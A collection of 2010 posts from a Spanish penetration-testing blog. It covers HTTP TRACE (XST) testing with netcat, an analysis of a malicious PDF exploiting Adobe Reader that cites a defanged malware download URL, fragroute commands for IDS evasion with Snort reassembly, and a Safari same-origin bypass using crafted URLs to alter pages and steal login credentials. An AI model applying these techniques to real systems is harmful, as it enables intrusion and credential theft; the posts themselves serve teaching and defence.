Pentester.es

Vacaciones 2010 en Pentester.Es

noreply@blogger.com (Jose Selvi) — Thu, 29 Jul 2010 05:51:00 +0000

Hola amigos de la seguridad, tal y como sucedió el año pasado, se acaba julio y los miembros de Pentester.Es nos vamos de vacaciones durante el mes de agosto, por lo que en principio no va a haber más entradas durante este mes, a no ser que haya algo tan gordo que nos quite el sueño no escribir al respecto.

Gracias a todos de nuevo por leernos otro año más, por vuestros comentarios, por plantearnos vuestras dudas y por vuestras aportaciones, porque todo eso nos animan a seguir, hace que se nos planteen dudas que no se nos ocurrieron a nosotros mismos y, sobretodo, hace que aprendamos con cada entrada que escribimos.

A los más de 1300 lectores que acabando esta temporada leen Pentester.Es...

¡Muchas Gracias!

El 1 de Septiembre volvemos, como cada año, con más, y mejor.

¡Feliz Verano!

Estado de Cross-Site Tracing (XST)

noreply@blogger.com (José Miguel Holguín) — Mon, 19 Jul 2010 06:18:00 +0000

Como bien nos advierte la guía OWASP de testing en el control OWASP-CM-008, disponer del método TRACE habilitado en nuestro servidor Web puede tener consecuencias negativas. El método TRACE tiene como función principal poder realizar debug del protocolo HTTP. En el año 2003 Jeremiah Grossman publicó un paper titulado Cross-Site Tracing (XST) en que abre una nueva técnica de evasión de la medidas de seguridad HTTP con el método Trace y XSS.

Una vez presentada brevemente la técnica y su origen, vamos a ver cómo detectar que el método TRACE está activo y veremos el impacto real hoy en día (2010). Para las pruebas utilizaremos un servidor Web Apache con el método TRACE activado. Lo primero antes de hacer nada es comprobar que el método TRACE está habilitado:

$nc 192.168.0.16 80

OPTIONS / HTTP/1.1

Host: 192.168.016

HTTP/1.1 200 OK

Date: Wed, 19 May 2010 18:51:16 GMT

Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.5 with Suhosin-Patch

Allow: GET,HEAD,POST,OPTIONS,TRACE

Vary: Accept-Encoding

Content-Length: 0

Content-Type: text/html

Visto que dispone del método, realizamos lo mismo pero ahora invocamos al método TRACE:

$nc 192.168.0.16 80

TRACE / HTTP/1.1

Host: 192.168.0.16

HTTP/1.1 200 OK

Date: Wed, 19 May 2010 18:53:32 GMT

Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.5 with Suhosin-Patch

Transfer-Encoding: chunked

Content-Type: message/http

TRACE / HTTP/1.1

Host: 192.168.0.16

El servidor web realiza un "echo" de lo que hemos enviado junto con las cabeceras. Ahora la pregunta que nos hacemos es, ¿qué nos permite un XST? , vamos a ver que dicen desde OWASP y en el paper de Jeremiah:

El paper nos indica que el método TRACE nos puede ser útil para saltarnos la protección HTTPOnly que impide el acceso a las cookies por código script en el lado del cliente si el navegador lo soporta y para aprovechar vulnerabilidades para saltarse la política de mismo origen de los navegadores (como la que nos trajo Jose sobre Safari hace poco).

Por situarnos un poco, HTTPOnly nace porque según el creador del flag el principal objetivo de los XSS son las cookies de sesión. Ahora os surgirá la pregunta, ¿Qué navegadores lo soportan actualmente este flag?, pues tenemos la respuesta en la propia página de OWASP en forma de tabla.

La gran mayoría de navegadores (algunos parece que no, MAL por ellos!) soportan el flag HTTPOnly y previenen la lectura de las cookies. Si por contra usan set-cookie2, ya hay menos navegadores que parece que interpretan HTTPOnly.

Entonces llegados a este punto uno lee el paper, la guía OWASP y se frota las manos de todo lo que va a poder hacer si este método está activado. ¿Pero es esto así?, pues la verdad es que aprovechar esta técnica con versiones actuales de Firefox , Internet Explorer, Safari o Chrome ahora se vuelve una tarea no tan fácil e inmediata como en 2003 (fecha de publicación del paper) ya que los navegadores actuales no lanzan peticiones con el método TRACE. (las ignoran). Para poder encontrar un navegador que las permita tendremos que irnos a un Internet Exporer 6 SP2 (con el resto no nos ha sido posible a nosotros). Vamos a ver un ejemplo de cómo aprovechar la técnica con un IE6 SP2:

Para nuestras pruebas nos creamos una página web como la que sigue:

Veremos lo siguiente:

Como conclusión según lo que hemos podido comprobar, los desarroladores de navegadores al limitar la utilización del método TRACE han reducido el impacto de un XST . Por ello si nos encontramos con un método TRACE activado en servidor Web deberemos ser conscientes a la hora de notificarlo de las dificultados de su explotación contra los usuarios finales.

Si alguien tiene una prueba de concepto que funcione sobre navegadores actuales que avise :), sería bueno ver como hacer bypass.

Curso de Seguridad GSM/UMTS

noreply@blogger.com (Jose Selvi) — Mon, 12 Jul 2010 18:17:00 +0000

Con el paso del tiempo los teléfonos móviles se han ido convirtiendo en un medio imprescidible en nuestras vidas, adquiriendo cada vez más funcionalidades, más potencia, más versatilidad, y con ello más problemas de seguridad, algo grave si tenemos en cuenta que hoy en día un teléfono móvil almacena contactos, correos electrónicos, todo tipo de contraseñas, y un largo, etcétera. En la actualidad estamos empezando a ver en las principales conferencias de seguridad investigaciones referentes a los dispositivos móviles y a su seguridad, lo cual hace preveer que en muy poco tiempo será un objetivo claro para los atacantes.

¿Vas a esperar a ser una de las primeras víctimas?

Anticipándose a los problemas de seguridad y a las amenazas masivas que vamos a sufrir en un futuro muy próximo, Taddong ofrece el próximo mes de Noviembre en Valencia la primera edición de su curso "Seguridad GSM y UMTS (2G/3G)", en la que a lo largo de tres días (19, 20 y 21 de Noviembre) se verán los posibles ataques existentes contra las comunicaciones tanto de voz como de datos GSM y UMTS, así como las posibles medidas de protección contra dichos ataques.

¿Los directivos de tu empresa manejan información muy confidencial? En ese caso no puedes perderte un curso como este, tremendamente práctico, con ejercicios en los que podréis ver de primera mano como son realizados todos estos ataques, y como anularlos, de la mano de dos verdaderos expertos en la materia como son José Picó y David Pérez.

Todos los detalles sobre precios, fechas, etc, se pueden consultar en el siguiente enlace.

Por otro lado, Taddong también pone a disposición de los interesados por el curso un más que interesante programa de descuentos del que nos podemos beneficiar y que además son acumulables unos con otros.

Los miembros de Pentester.Es, por supuesto, no pensamos perdérnoslo, así que nos veremos las caras el próximo Noviembre en Valencia.

No olvidéis mencionar en vuestra inscripción que leísteis la noticia en Pentester.Es.

Análisis de un PDF portador

noreply@blogger.com (José Miguel Holguín) — Mon, 05 Jul 2010 06:23:00 +0000

No hace falta que os diga que los ficheros PDF son hoy en día una de las principales vías a través de la cual los malos de lo ajeno están llevando a cabo sus actividades delictivas. Normalmente se focalizan en vulnerabilidades en el lector de pdf más usado que es Adobe Reader y el caso que vamos a ver no va a ser una excepción. Dicho esto, el otro día a raíz de la entrada publicada por Zynamics (que como comentan en SecurityByDefault, es una entrada muy recomendable), me volvió a recordar que llevamos tiempo desde pentester.es queriendo preparar una entrada de análisis de ficheros pdf. Lo primero es conseguir un fichero pdf malicioso, para esta ocasión lo hemos obtenido de los enlaces suministrados por el proyecto blade-defender de SRI (proyecto que habrá que seguir de cerca) y que tiene como md5:

readme.pdf, a491ae05103849d8797d1fda034e0bd5

Para la entrada nos apoyaremos en las herramientas realizadas por Didier Stevens para manejar los ficheros PDF. Os aconsejo el screencast que pone Didier en su propia página para que veáis su uso y lo que es posible hacer con ellas. Ahora vamos al jaleo con nuestro PDF portador.

Lo primero sería preguntarnos, ¿Qué objetos contiene este fichero PDF?

Observamos que exiten objetos de tipo Javascript, OpenAction, Page y Xref. Visto que contiene JavaScript, nos centramos en ver qué código JS contiene:

Si nos fijamos en la imagen se ha encontrado que el Objeto 2, contiene "/OpenAction /JS 10 0 R", con lo que nos indica que va abrir el código javascript alojado en la Referencia "10 0 R". Lo que vamos a hacer ahora es ver qué hay en ese objeto:

Como se ve en la imagen, el código javascript no tiene desperdicio :D. Podemos ver cómo todas las variables están cambiadas a un valor aleatorio (funcionalidad que como bien me comento Jose proporciona la metasploit). Llegados a este punto hemos obtenido el código javascript que se ejecutará cuando se abra el pdf y por la pinta que tiene parece que no va a hacer nada bueno. Lo siguiente que nos preguntamos es, ¿qué está intentando explotar este fichero PDF?, para ello volcamos el código javascript y lo analizamos para ver si encontramos algún indicio que nos oriente sobre qué puede estar intentando explotar el PDF.

Una vez visto el código, vemos funciones como Collab.collectEmailInfo() y Collab.GetIcon() que pertenecen al objeto Collab. Con una rápida búsqueda en Google sobre estas funciones, encontramos que exiten ciertos Advisory como CVE-2007-5659 y CVE-2009-0927 e incluso pruebas de concepto en securityfocus, además de un análisis realizado por la gente Carnal0wnage. Estos datos encontrados en Google lo confirmaremos ahora durante el análisis.

Viendo el código de la prueba de concepto de securityfocus(en el lado izquierdo) y el código javascript obtenido (lado derecho), vemos ciertas similitudes que nos pueden llevar a creer que van por aquí los tiros:

La función repeat en la prueba de concepto

La función heapspray de la prueba de concepto la tenemos en las dos siguiente imagenes

El punto donde se llama a la función Collab.colletEmailInfo

Al final del código JS se observa como explota dos vulnerabilidades en función de la versión del visor de pdf. Si es mayor que la versión 5.0 y menor que la versión 7.1 intenta aprovechar la vulnerabilidad de la función Collab.colletEmailInfo(). Si la versión esta entre 8.0 - 8.1.0.2 y 9.0 - 9.1 intenta aprovechar la vulnerabilidad en Collab.GetIcon().

Ahora para finalizar este análisis ligero, y que nos permita hacernos una idea superficial de qué contiene el pdf y que pretende, completaremos un poquito nuestras impresiones con herramientas de terceros que están online:

Servicio Wepawet, donde obtenemos un informe. Vemos como solo nos indica que aprovecha la vulnerabilidad de la función Collab.GetIcon() y su CVE. Lo importante de este informe es el análisis del shellcode que nos muestra como se realiza referencia a un bichito adicional de malware en la url hxxp://nt13.co.in/1. Si ahora cogemos este enlace y lo pasamos por el servicio Anubis y por virustotal, veremos el informe del especímen que se bajará al ejecutarse el shellcode.

Servicio VirusTotal, obtenemos un informe del pdf, donde por ejemplo vemos que el motor antivirus karpesky lo cataloga como Exploit.JS.Pdfka.ckj. Buscando por el nombre de este exploit vemos el informe de f-secure sobre Exploit.JS.pdfka.Ti, y donde comenta que explota la vulnerabilidad comentada anteriormente en la función Collab.colletEmailInfo() con su CVE.

Como véis el fichero analizado no tiene desperdicio y para un primer análisis de un fichero pdf sospechoso puede valernos ;). Espero que os sirva!!

IP DEfragmentation & Snort

noreply@blogger.com (Jose Selvi) — Mon, 28 Jun 2010 06:15:00 +0000

En la entrada de la semana pasada introdujimos algunos conceptos de IP Fragmentation, qué es un IP Fragmentation Overlapping, y realizamos un pequeño ejemplo con FragRoute en el que realizábamos una conexión contra un sistema Windows, fragmentando con un overlapping de tal forma que solo fuera reconstruible por sistemas Windows, y lo comprobamos usando un sistema Linux.

Pero... ¿está todo perdido? ¿no podemos obtener la conexión original de ninguna forma a partir de la captura de red?

Por supuesto, la respuesta es SI, claro que podemos obtener la conexión original a partir de la captura de red, solo necesitamos... "pensar" como el servidor destino de la conexión, respirar lo que él respira, comer lo que él come, y defragmentar como él defragmenta :P

La idea más inmediata es disponer de al menos un sistema de cada uno de los tipos de defragmentado que comentamos en la anterior entrada, con el Wireshark instalado y, simplemente, abrir la captura de red para que defragmente de la manera que lo haría ese sistema, pero...

Podemos ver como la misma captura, abierta con un Windows, muestra el mismo resultado que cuando la abrimos desde un Linux, así que no hemos solucionado nada nuestro problema. Según parece, Wireshark no utiliza la pila TCP/IP del sistema en el que se ejecuta para realizar el refragmentado, sino que utiliza un módulo propio, como podemos ver en la siguiente captura de la ventana que se encuentra en Preferencias->Protocolos->IP.

Vale, opción uno a la basura, ¿qué hacemos ahora? La lógica dice que no sería raro que existiera algún tipo de herramienta que le pasaras como parámetros un pcap y algún tipo de fichero de configuración de que tipo de defragmentado quieres para cada uno de los hosts, y te devolviera un pcap con los fragmentos ya reconstruidos. Sin embargo, yo no conozco o hasta ahora no he encontrado una herramienta que haga algo así (si alguien conoce una, que lo diga), así que la opción dos se nos va a la basura también.

Muy bien, no tenemos una herramienta que haga directamente lo que queremos, pero sí hay herramientas que están preparadas para realizar estos refragmentados, y es posible que pudiéramos "tunearlas" para obtener el pcap de la manera que queremos. Estoy pensando claramente en los Sistemas de Detección de Intrusos basados en Red (NIDS). ¿Recordáis que comentamos que las técnicas de IP Fragmentation Overlapping podían ser usadas para evadir las protecciones de los IDS? Pues los fabricantes de IDS no se han quedado con los brazos cruzados, y muchos de ellos realizan una especie de "emulación" de las distintas maneras de refragmentar que existen.

Preprocesador Frag3

En el caso de Snort, uno de los NIDS más utilizados de la actualidad, la respuesta es el preprocesador frag3. Una vez configurado, este preprocesador es el encargado de recomponer el paquete de la misma forma que lo hará el sistema destino de la conexión, para que de esta manera ambos puedan ver el mismo paquete, y por tanto comprobar las firmas de ataques de forma efectiva.

Para configurar correctamente el preprocesador frag3 deberemos editar el fichero /etc/snort/snort.conf (en BackTrack, en otros sistemas podría cambiar de lugar) y buscar la cadena "frag3", que nos llevará a la zona del fichero de configuración en la que deberemos configurar el preprocesador. En la zona comentada podemos ver con todo detalle como configurar este preprocesador. En este caso, tenemos una captura de red con los paquetes y fragmentos creados el post de la semana pasada, contra un Windows en la IP 172.16.25.151, así que tenemos que hacerle saber a frag3 que lo que hay detrás de esa IP es un Windows. Para ello, añadiremos las siguientes lineas al final de todos los comentarios de la zona de configuración del frag3:

preprocessor frag3_global: max_frags 65536

preprocessor frag3_engine: policy windows bind_to 172.16.24.151

El frag3_global es algo que se tiene que poner una vez al principio de las frag3_engine. Este sería un buen valor por defecto.

Vale, ya le hemos dicho a Snort que 172.16.24.151 es un Windows, así que ahora cualquier paquete fragmentado que vaya contra esa dirección debería ser correctamente defragmentado, pero... ¿cómo conseguimos obtener el pcap resultante tras defragmentar?

Output Plugin log_tcpdump

Aunque la salida típica de Snort es un log texto, existen una gran cantidad de plugins de salida que podemos utilizar para obtener una gran variedad de salidas. Entre ellas, existe la posibilidad de conservar el paquete entero mediante el plugin log_tcpdump, el cual será guardado en formato pcap, tal y como queremos.

Para activar este plugin de salida deberemos editar de nuevo el fichero /etc/snort/snort.conf y buscar la cadena "log_tcpdump" para llegar a la zona de este output plugin. Para activarlo, únicamente deberemos añadir la siguiente linea:

output log_tcpdump: tcpdump.log

Mediante esta linea, cada vez que algún paquete haga match con alguna de las reglas de snort, además de las otras salidas que hay configuradas, se nos guardará el paquete completo en un fichero tcpdump.log.[timestamp] en el directorio en el que hayamos configurado que se guarden los logs (en BackTrack: /var/log/snort/).

Perfecto, ya casi lo tenemos, pero... yo no quiero obtener un pcap con los paquetes que hagan match con algún ataque, yo quiero simplemente TODOS los paquetes, pero defragmentados, obviando las reglas de Snort ¿cómo podemos hacer eso?

Regla MatchAll para Snort

Bueno, si el problema es que solo vamos a obtener el pcap de los paquetes que hagan Match con alguna de las reglas de Snort y nosotros los queremos todos los paquetes... la solución parece fácil, creemos una regla de Snort que haga match con cualquier paquete, así en cualquiera de los casos todos los paquetes de nuestro pcap inicial harán match con alguna regla, así que todos ellos serán registrados en formato tcpdump tal y como queremos.

La regla podríamos afinarla todo lo que queremos para que nos registrara una conexión concreta, pero en este caso vamos a utilizar una que sencillamente haga Match con cualquier paquete de una conexión TCP. Para ello editamos el fichero /etc/snort/rules/local.rules y añadimos la siguiente regla:

alert tcp any any -> any any (msg:"ALL MATCH"; sid:1000001; rev:1;)

Bueno, parece que ya lo tenemos todo: Snort está preparado para defragmentar nuestro pcap, todos los paquetes resultantes de la defragmentación van a hacer match con una regla, y por tanto van a ser registrados en un pcap de salida. Ahora solo nos queda... pasarle este pcap a Snort de alguna forma, ya que por defecto este obtiene los paquetes sniffando directamente de la red.

Snort sobre un fichero PCAP

Además de ser lanzado para sniffar una interface de red, Snort puede ser lanzado pasándole como argumento (con la opción -r) un fichero pcap del cual obtendrá los paquetes de la misma forma que lo haría de un interface de red. Esta opción puede resultar muy útil en una investigación forense en la que disponemos de una captura de red, porque podemos identificar mediante Snort ataques conocidos o firmas de gusanos que se propaguen por la red, pero en este caso nos va a venir bien, simplemente, para defragmentar el pcap que hemos obtenido:

/usr/local/bin/snort -c /etc/snort/snort.conf -r fragmentado.pcap

Una vez lanzado, veremos que en el directorio /var/log/snort/ (o en el que tengáis configurado que se guarde la salida de Snort aparecen dos ficheros, un fichero "alert" típico de Snort con la salida en texto, y un fichero "tcpdump.log.[timestamp]" que debería contener nuestra conexión ya refragmentada de la misma forma que lo haría un Windows:

Como podemos ver, los fragmentos IP han desaparecido, no hay errores de Checksum (señal de un mal defragmentado) ni nada que no parezca una conexión TCP normal. Comprobémoslo realizando un "Follow TCP Stream" de la conexión:

Parece que esta vez sí que hemos conseguido defragmentar correctamente la conexión, porque vemos una comunicación HTTP que tiene toda la pinta de ser auténtica, y no con las cadenas basura que veíamos en la captura del inicio de esta entrada.

A partir de aquí a analizar, a ver que es eso que "los malos" han puesto tanto empeño en esconder detrás de una fragmentación con overlapping.

IP Fragmentation Overlap & Fragroute

noreply@blogger.com (Jose Selvi) — Tue, 22 Jun 2010 13:26:00 +0000

Hace algunas semanas vi en una de las pruebas de las PreQuals de la DEFCON una prueba (c500) en la que había que analizar una captura de red y obtener de ahí la solución. Como técnica de "ofuscación" del contenido de la comunicación, pareció haberse usado una técnica de IP Fragmentation Overlap, entre otras. Veamoslo rápidamente:

No vamos a entrar a la resolución de este reto, por ser algo más complejo, pero simplemente queremos haceros notar la existencia de IP Fragmentation Overlap, ya que los offsets de los fragmentos van de 40 en 40 bytes y sin embargo algunos paquetes contienen 80 bytes de datos.

Pero creo que nos estamos adelantando un poco, y este reto nos da pie para hablar un poco de la Fragmentación de paquetes IP, del Fragmentation Overlap y a poner un par de ejemplos usando Fragroute, una herramienta especialmente pensada para este tipo de ataques. No nos gusta mucho "soltar el rollo", pero en este caso creemos que es necesario para entender bien estos ataques.

¿Qué es IP Fragmentation?

Como ya sabéis, según el modelo TCP/IP, un Datagrama IP será "encapsulado" (para que nos entendamos) en algún tipo de protocolo a nivel de enlace, en redes locales generalmente Ethernet, pero podría usarse cualquier otro medio, en función del enlace que vayamos a usar. Cuando vamos a realizar esta "encapsulación", tenemos un requisito que tenemos que tener en cuenta, y es el llamado MTU (Maximum Transmission Unit) de dicha red, que es diferente según el tipo de red que vayamos a usar.

Para que nos hagamos una idea, es como si el Datagrama IP fuera un salami, y lo queremos meter en un buzón para que sea enviado. Si la rendija del buzón es más grande que nuestro salami, no hay problema, se mete entero y listo, pero... ¿qué pasa si la rendija es más pequeña? En ese caso tendremos que sacar un cuchillo y trocear nuestro salami de alguna manera, meter cada uno de los trozos en un sobre diferente y enviarlo por partes.

La única pega con esto es que, aunque el salami nos llegue a trozos, nos da igual por donde empezar a comerlo, pero con los fragmentos de un datagrama IP no pasa lo mismo, ya que tienen un orden que deberemos respetar. Para garantizar que estos fragmentos son "reensamblados" en destino de la misma forma, el protocolo IP cuenta con estos dos campos:

IPID: Es el número que identifica a todos los fragmentos de un mismo paquete. Si un montón de fragmentos IP tienen el mismo IPID, quiere decir que deberán ser reensamblados en el mismo paquete.
Offset: Es la posición en bytes que ocupará el fragmento desde el inicio del paquete. De esta forma, el fragmento con offset=0 será el primero, el offset=X (siendo X la cantidad de bytes en los que hemos troceado) será el segundo, offset=2*X será el tercero, y así sucesivamente hasta reensamblar el paquete completo.

Por lo tanto, ya sabemos que existe una técnica para trocear los datagramas IP si no "caben" en nuestra red y luego reensamblarlo en destino, pero... ¿como afecta esto a la seguridad?

En primer lugar, podemos forzar que se realice una fragmentación siempre que queramos, aunque el MTU de nuestra red no lo requiera, y en segundo lugar, podemos crear "anomalías" en la fragmentación que nos haga encontrarnos ante excepciones del protocolo que no están resueltas de una manera estándar, y que por tanto cada fabricante de sistemas operativos puede haber resuelto de forma diferente. Una de las maneras de hacerlo es un IP Fragmentation Overlap.

¿Qué es un IP Fragmentation Overlap?

Hemos dicho que el IPID identifica a todos los fragmentos que deberán ser recompuestos en un mismo datagrama IP, y que el Offset nos señala a partir de donde deben reensamblarse dichos datos. En un caso de fragmentación normal, si por ejemplo hemos partido el datagrama IP en bloques de 40 bytes, deberíamos tener un fragmento con offset 0, 40, 80, 120, y así sucesivamente, todos ellos con un tamaño de 40 bytes.

No hay problema, reensamblamos perfectamente y obtendremos de nuevo el datagrama IP, pero... qué sucede si alguno de los paquetes es mayor de 40 bytes, nos encontraríamos con algo como esto:

Ya le hemos liado, ¿cómo construimos el paquete ahora? ¿Qué información ponemos entre el byte 80 y el byte 119? ¿La que está en el segundo fragmento o en el tercero?

El protocolo no lo deja claro, así que ahí cada fabricante de sistemas operativos lo ha resuelto de una manera diferente. Según la documentación de Snort, en este momento hay en el mercado 7 políticas diferentes a la hora de realizar el reensamblado de paquetes:

First: HP-UX 11, MacOS, SunOS <5.8
Last: Cisco
BSD: AIX, FreeBSD, HP-UX 10.x, IRIX
BSD-Right: Algunas impresoras HP
Linux: OpenBSD, Linux
Windows: Windows (obviamente)
Solaris: Solaris 9 y 10

La descripción de como realiza el reensamblado cada una de estas políticas (o al menos gran parte de ellas) puede encontrarse en este paper, salvo para Windows y Solaris, que Snort las ha separado recientemente de la política First, aunque sus diferencias sea leves.

El tema es que, aprovechando estas anomalías, podemos generar una conexión de red con una fragmentación especialmente creada para que funcione adecuadamente con nuestro sistema objetivo (un Windows, por ejemplo) pero que al ser reensamblado por otro tipo de sistemas (un Snort o un Wireshark en un Linux, por ejemplo) la información obtenida sea diferente, con lo que podemos ocultar una conexión e incluso provocar que el IDS no detecte ataques contra ese sistema (aunque ya veremos en otra ocasión como Snort tiene maneras de mitigar estos riesgos).

FragRoute

FragRoute es una herramienta de gran flexibilidad y potencia que nos permite forzar la fragmentación contra un sistema concreto, así como otros tipos de ataques de overlapping basados en TCP.

El tipo de ataques de fragmentación a realizar se define en un fichero de configuración con el que deberemos lanzar la herramienta. En nuestro caso, el fichero tiene el siguiente contenido:

ip_frag 40 old

order random

print

En este caso, estamos eligiendo realizar una fragmentación ip (ip_frag) de tamaño 40 bytes (40) y con overlaping favoreciendo que los fragmentos más antiguos tengan preferencia, es decir, estamos haciendo una fragmentación de tal forma que vamos a poder hablar con sistemas First, y probablemente Windows y Solaris (su política es muy similar a First). Además, estamos ordenando aleatoriamente los fragmentos (order random) y estamos señalando que queremos verlo por la pantalla (print), aunque por supuesto esta última parte es opcional.

Los usuarios de Ubuntu (o BackTrack, como es mi caso) pueden sufrir algún problema debido al contenido del fichero /proc/sys/net/ipv4/conf/all/rp_filter , que en este tipo de sistemas (y no sé si en algunos otros) está a "1" y debería estar a "0" para funcionar. Si os encontrais con problemas de funcionamiento en vuestro sistema, comprobad este flag:

# cat /proc/sys/net/ipv4/conf/all/rp_filter

# echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter

Ahora que ya tenemos esto configurado, si lanzamos la herramienta, probablemente nos encontraremos con el siguiente error:

# fragroute -f fragwin2.conf 172.16.24.151

fragroute: no route to 172.16.24.151: No such process

Por algún motivo, parece que fragroute requiere que tengamos al objetivo en nuestra tabla ARP o similar, así que tendremos que forzar una pequeña conexión antes de lanzarlo:

# ping -c 1 172.16.24.151 >/dev/null ; fragroute -f fragwin2.conf 172.16.24.151

fragroute: ip_frag -> order -> print

Por fin tenemos lanzado el fragroute. Ahora todo el tráfico que sea encaminado hacia 172.16.25.151, usemos la aplicación que usemos, será fragmentado de la manera que hemos escogido.

Como en el sistema Windows que hay en 172.16.24.151 tenemos un IIS a la escucha, vamos a ver que capturará el tcpdump o el wireshark cuando accedamos a este:

# tcpdump -nn -s 0 -w fragment.pcap host 172.16.24.151

# lynx -dump http://172.16.24.151

[respuesta esperada]

Tras ver que podemos visitar correctamente la web y que el Windows es capaz de reensamblar correctamente los fragmentos, vamos a ver que pasa cuando abrimos el pcap que hemos capturado en Wireshark:

Como podemos ver, el paquete reensamblado parece tener "basurilla" proveniente de los fragmentos con los que se hacía el overlapping. De hecho, si nos fijamos en la flecha, veremos que Wireshark nos muestra un fallo en el Checksum del contenido del paquete, algo lógico, ya que el Checksum fue calculado a partir del contenido original, y el contenido después de ser reconstruido el paquete es diferente, por lo que su Checksum no será el mismo.

Como decíamos antes, este tipo de técnicas pueden ser usadas para evadir la protección de los IDSs, ya que podemos hacer que un IDS sobre Linux (por ejemplo) reensamble el paquete de una forma incorrecta y que por lo tanto el contenido no haga match con ninguna regla, y sin embargo que el reensamblado en el host atacado sí que reensamble correctamente y sufra el ataque. También puede ser usado, como en el caso del reto de la DEFCON, para tocar los c****** a alguien que intenta analizar el tráfico de red :P

Sin embargo, no todo está perdido, ya que los IDSs pueden ser configurados de cierta forma que pueden detectar estos paquetes e incluso emular los diferentes tipos de reensamblado, pero claro, ha de ser configurado correctamente.

Pero eso será ya otro post.

Safari Same Domain Policy Bypass

noreply@blogger.com (Jose Selvi) — Wed, 09 Jun 2010 05:10:00 +0000

Ayer por la mañana se publicó una vulnerabilidad en Safari en la manera en que se gestionan las URLs a la hora de verificar la Same Domain Policy.

Same Domain Policy es una protección de los navegadores que impide que un sitio web acceda a los objetos o métodos de otro sitio web, y es fundamental a la hora de proteger a los usuarios de gran cantidad de ataques. Según esta política, dos sitios web son el mismo, y por tanto deben poder acceder a los mismos objetos, cuando el protocolo, el nombre de host y el puerto al que se conecta son idénticos.

Explicado de una forma sencilla, una URL generalmente es de la siguiente forma:

http://banco.pentester.es/directorio/

Esta URL, al seguir los estándares, es gestionada de la misma forma por todo Safari, con "http" como protocolo, "banco.pentester.es" como host y "80" como puerto.

Sin embargo, se ha descubierto que una URL especialmente formada podría provocar errores al reconocer el host a la hora de verificar la Same Domain Policy:

http:banco.pentester.es/directorio/

Esta URL, al ser verificada por la Same Domain Policy, es reconocida como host cadena vacía (""), mientras que por contra es perfectamente usable a la hora de la navegación, y completamente equivalente a la que hemos visto anteriormente.

Por lo tanto, si tenemos una manera de formar URLs de tal forma que el navegador las reconozca como pertenecientes siempre a un host cadena vacía, podríamos construir varias URLs de diferentes sitios web de esta forma, y todos ellos serían reconocidos como pertenecientes al mismo dominio, con lo que podríamos acceder desde un sitio malicioso a los objetos y métodos de otros sitios web legítimos.

Veamos un pequeño ejemplo práctico.

Hemos creado un sitio web legítimo http://banco.pentester.es que contiene una vulnerabilidad que nos permite controlar el origen de un iframe de la web (para los puntillosos, también permite más cosas, pero vamos a centrarnos en el iframe). En realidad, este ataque a Safari podría realizarse simplemente con tener dos ventanas diferentes abiertas, sin necesidad de que exista ninguna otra vulnerabilidad en la web, pero nos parece un ejemplo interesante y real, así que vamos a ello:

Por otro lado, tenemos un sitio web malicioso http://test.sobreroblanco.es en el que tenemos un fichero que, a través de Javascript, pretende realizar modificaciones sobre el HTML de fuera del iframe. En este caso, cambiar el enlace "Contacto" de la web principal para que nos llegue a nosotros:

Tal cual está, si intentamos explotar la vulnerabilidad en el iframe, la web contenida dentro del iframe no va a ser capaz de alterar el contenido del resto de la web, ya que ambas webs se encuentran en dominios diferentes y el navegador no va a permitir que una acceda a los objetos de la otra:

http://banco.pentester.es/index.php?iframe=http://test.sombreroblanco.es

Como podemos ver, el enlace no ha cambiado, a pesar de que hemos intentado cambiarlo mediante Javascript, ya que la verificación del Same Domain Polocy ha fallado por tratarse de dominios diferentes.

Sin embargo, si formamos las URL de tal forma que hagamos que Safari crea que ambos dominios son cadena vacía (""), podríamos saltarnos esta restricción de seguridad:

http:banco.pentester.es/index.php?iframe=http:test.sombreroblanco.es

Como podemos ver en la parte inferior... AHORA SÍ, hemos conseguido cambiar el código HTML por medio de un código Javascript que se encuentra dentro del iframe y nos hemos saltado la Same Domain Policy.

Ya hemos explotado la vulnerabilidad, pero... no es tan fácil como parece, ya que si nos limitamos a escribir la URL maliciosa en el navegador no va a funcionar, ya que el navegador añadirá la doble barra (//) delante de los dos puntos (:) de forma automática para formar una URL correcta. Para que la explotación funcione correctamente, tenemos que conseguir que el usuario pinche sobre un enlace de la siguiente forma:

De esta manera, si conseguimos que un usuario pinche un enlace como este, es dirigido correctamente a la web que hemos visto antes y la vulnerabilidad es explotada.

Una de las maneras más evidentes de sacar provecho de este tipo de vulnerabilidades, además de cambiar el contenido de la web padre, es el robo de cookies de sesión. Sin embargo, tras realizar diversas pruebas, hemos llegado a la conclusión (o al menos nosotros no lo hemos conseguido) de que Safari no almacena correctamente las Cookies que provienen de un dominio cadena vacía, y por lo tanto no podemos utilizar esta técnica para forzar a que un usuario se autentique en la web legítima y robarle la Cookie desde el iframe, o incluso desde otra ventana del navegador. Para probarlo, hemos utilizado un sencillo código Javascript que crea una Cookie para posteriormente mostrarla con un alert:

Este código, accedido de la forma habitual (http://), nos muestra el valor nuevo que hemos introducido en al cookie:

Sin embargo, cuando lo llamamos mediante un "http:", no nos aparece en el alert ni la propia cookie que acabamos de configurar, sino que aparece completamente en blanco:

Este funcionamiento, por lo que hemos podido comprobar, inutilizaría la opción del robo de cookies, ya que estas simplemente nunca van a existir.

Sin embargo, que no exista la opción de robo de cookies no quiere decir que no exista la opción de robo de credenciales, ya que podríamos usar la misma técnica de cambio del código HTML para lanzar una web legítima con el formulario real de autenticación, y por otro lado nuestro sitio malicioso que altere el "action" de ese formulario para que las credenciales lleguen a un sitio controlado por el atacante.

Por lo tanto, se considera una vulnerabilidad de alto riesgo para los usuarios de Safari, por lo que recomendamos a todos ellos que apliquen los parches de seguridad publicados por Apple a la mayor brevedad posible.

NETinVM: Red en una Máquina Virtual

noreply@blogger.com (Jose Selvi) — Thu, 03 Jun 2010 10:40:00 +0000

Una herramienta que suelo usar habitualmente para probar técnicas de seguridad en redes es NETinVM (NETwork IN VirtualMachine), una máquina virtual SuSe que contiene en su interior una serie de switches virtuales y máquinas UML que forman una red virtual al estilo de la que podríamos encontrar en cualquier red con su segmento "Internet", su segmento Interno, su DMZ, su firewall y todo lo demás.

Sus autores, mi ex-profesor de sistemas operativos de la universidad, Carlos Pérez y su hermano David Pérez, al que todos conoceréis como GSE del SANS y co-fundador de la empresa Taddong.

El esquema que por defecto viene configurado en la máquina virtual es el siguiente:

